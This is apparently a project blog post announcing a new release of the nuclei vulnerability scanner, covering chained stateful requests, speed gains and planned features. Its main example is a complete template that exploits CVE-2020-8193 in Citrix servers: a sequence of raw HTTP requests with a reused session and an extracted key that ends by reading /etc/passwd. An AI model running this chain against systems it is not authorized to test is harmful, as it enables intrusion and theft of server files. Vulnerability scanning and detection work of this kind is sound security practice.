If you’re reading about nuclei for the first time, we suggest you start here at this blog post which introduces the basic idea behind nuclei.
Stateful Dynamic requests
One of the major limitation with previous versions of nuclei was the inability to perform multi-step or chained requests making it impossible to use it in a process where some dynamic state needed to be maintained or session needed to be created.
With the latest release, you can very easily create such complex workflows without the requirement of programming knowledge. Simple YAML steps can be used to define the flow and conditions of the requests.
A very good example to showcase such complex flow is the recently released CVE-2020-8193 for Citrix Servers. The exploit requires multiple requests, where a cookie is required to be sent with all the requests which is retrieved from the first request, as well as some dynamic variables from responses also need to be sent with each request.
Step by step breakdown of CVE-2020-8193 Nuclei Template
First requirement for a successful exploit is to obtain SESSID
cookies from 1st request and reuse them for all further operations. For this, cookie-reuse: true
flag can be used within a request which will maintain a session across all defined requests.
yaml
1requests:2cookie-reuse: true3- raw:4- |5POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.16Host: {{Hostname}}7User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.08Content-Type: application/xml9X-NITRO-USER: xpyZxwy610X-NITRO-PASS: xWXHUJ561112<appfwprofile><login></login></appfwprofile>
Another requirement for the exploit was the extraction of a dynamic variable from the response body call rand_key
which was sent in the 4th request. All the later requests needed that value otherwise they would fail. We approached this by adding an optional field to extractors called internal
which marks the extractor results for internal use only in templating. All the occurrences of the extractor name which in this case is randkey
will be replaced in the requests with values retrieved from the response.
yaml
1# Previous requests get the randkey using2# extractors. We simply pass it as header.3- |4POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.15Host: {{Hostname}}6User-Agent: python-requests/2.24.07Accept: */*8Connection: close9Content-Type: application/xml10X-NITRO-USER: oY39DXzQ11X-NITRO-PASS: ZuU9Y9c112rand_key: randkey1314<appfwprofile><login></login></appfwprofile>1516...1718# Create an extractor for randkey retrieval on runtime.19extractors:20- type: regex21name: randkey22part: body23internal: true24regex:25- "(?m)[0-9]{3,10}\\.[0-9]+"
The final result for detection as well as exploitation templates is given below which reads the /etc/passwd
file by exploiting the CVE.
yaml
1id: CVE-2020-819323info:4name: Citrix unauthenticated LFI5author: pdteam6severity: high78# Source:- https://github.com/jas502n/CVE-2020-81939# This template covers only the detection part, use the above exploit for the exploit confirmation.1011requests:12- raw:13- |14POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.115Host: {{Hostname}}16User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.017Content-Type: application/xml18X-NITRO-USER: xpyZxwy619X-NITRO-PASS: xWXHUJ562021<appfwprofile><login></login></appfwprofile>2223- |24GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.125Host: {{Hostname}}26User-Agent: python-requests/2.24.027Accept: */*28Connection: close2930- |31GET /menu/neo HTTP/1.132Host: {{Hostname}}33User-Agent: python-requests/2.24.034Accept: */*35Connection: close3637- |38GET /menu/stc HTTP/1.139Host: {{Hostname}}40User-Agent: python-requests/2.24.041Accept: */*42Connection: close4344- |45POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.146Host: {{Hostname}}47User-Agent: python-requests/2.24.048Accept: */*49Connection: close50Content-Type: application/xml51X-NITRO-USER: oY39DXzQ52X-NITRO-PASS: ZuU9Y9c153rand_key: randkey5455<appfwprofile><login></login></appfwprofile>5657- |58POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.159Host: {{Hostname}}60User-Agent: python-requests/2.24.061Accept: */*62Connection: close63Content-Type: application/xml64X-NITRO-USER: oY39DXzQ65X-NITRO-PASS: ZuU9Y9c166rand_key: randkey6768<clipermission></clipermission>6970cookie-reuse: true7172# Using cookie-reuse to maintain session between each request, same as browser.7374extractors:75- type: regex76name: randkey77part: body78internal: true79regex:80- "(?m)[0-9]{3,10}\\.[0-9]+"8182# Using rand_key as dynamic variable to make use of extractors at run time.838485matchers:86- type: regex87regex:88- "root:[x*]:0:0:"89part: body
Speed Improvements
Another thing that we got feedbacks about was the speed of the scans performed by nuclei. We reworked the engine of nuclei, specifically the way templates are executed adding parallelism which increased the speed of scans by magnitudes.
Given below are some comparisons with the previous and new versions of nuclei on 1000 URLs with 60 templates. You can compare them yourself by downloading the latest release and giving it a go.
Type | Old | New |
---|---|---|
Single URL Multiple Templates | 1m20.635s | 0m12.169s |
Single Template Multiple URLs | 3m4.362s | 0m0.687s |
Other key improvements
- Progress Bar - A new progress bar feature was added to allow viewing statistics of requests sent, etc in a very pretty format. All thanks to @therealdudez for his contributions and work on the feature.
- Helper functions - It is now possible to use Helper function anywhere in the RAW requests, which was earlier limited to only when using payloads (fuzzing).
- Muti template/directory input support - Again thanks to @therealdudez, it’s now possible to feed multiple templates as input. For example,
nuclei -t tokens -t cves -t files/git-config.yaml
. - Template blobbing - Now it’s possible to use glob patterns in template input. For example,
nuclei -t 'cves/CVE-2020*'
all thanks to @wDahlenb
We also reworked the guide document as it’s one of the most important resources to create your own templates, adding information about newly added changes to nuclei and also lots of examples for various use cases. Checkout the new guide website at https://nuclei.projectdiscovery.io.
We appreciate it if you can contribute to project by adding new templates / features, as community support is what drive us to keep working on this project and help others to find more valid security issues which improves the infosec industry overall.
Future of the project
In future, we’ll be adding the following new features to the project. Follow us to keep in touch with the progress.
- A new documentation site for easy access to templating guide and docs.
- UI / Web Form to create a template with just a few clicks.
- Test Server to validate nuclei templates at runtime.
- Notification module to send alerts on identified bugs.
Questions / Feedback
If you’re already a user of nuclei and would like to suggest some feature or share some ideas, feel free to reach out. You can contact/tweet us on twitter @pdnuclei or @pdiscoveryio. You can also email us at contact@projectdiscovery.io. We’d love to hear from you.
You can follow the project on github https://github.com/projectdiscovery/nuclei as well as the related templates repository at https://github.com/projectdiscovery/nuclei-templates. Contributions of new templates as well as ideas are very welcome!